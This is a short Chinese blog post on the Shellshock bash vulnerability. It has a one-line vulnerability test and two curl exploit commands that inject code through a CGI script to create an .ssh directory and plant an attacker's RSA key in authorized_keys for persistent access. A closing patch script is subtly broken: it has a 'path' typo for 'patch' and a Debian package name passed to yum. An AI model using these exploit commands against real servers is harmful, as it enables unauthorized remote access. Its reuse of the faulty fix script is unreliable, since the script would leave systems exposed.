天天看點

shellshock漏洞利用

版權聲明:轉載請注明出處:http://blog.csdn.net/dajitui2024 https://blog.csdn.net/dajitui2024/article/details/79396347

echo $shell
#檢視目前使用者的shell 
           
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
#定義了一個名字叫x的變量,内容時單引号内的。
           

exploit:

curl -H 'x: () { :;};a='/bin/mkdir /var/www/.ssh';echo "a: $a"' 'http://www.example.com/cgi-bin/test.cgi' -I

curl -H 'x: () { :;};a='/bin/echo "rsa公鑰" > /var/www/.ssh/authorized_keys';echo "a: $a"' 'http://www.example.com/cgi-bin/test.cgi' -I
           

修複漏洞腳本:

#!/bin/bash
yum -y update && yum -y install build-essential gettext bison

wget http://ftp.gnu.org/gnu/bash/bash-3.2.tar.gz
tar -zxvf bash-3.2.tar.gz
cd bash-3.2

for i in $(seq -f "%03g" 1 53);
do
wget -nv http://ftp.gnu.org/gnu/bash/bash-3/gnu/bash/bash-3.2-patches/bash32-$i
path -p0 < bash32-$i
done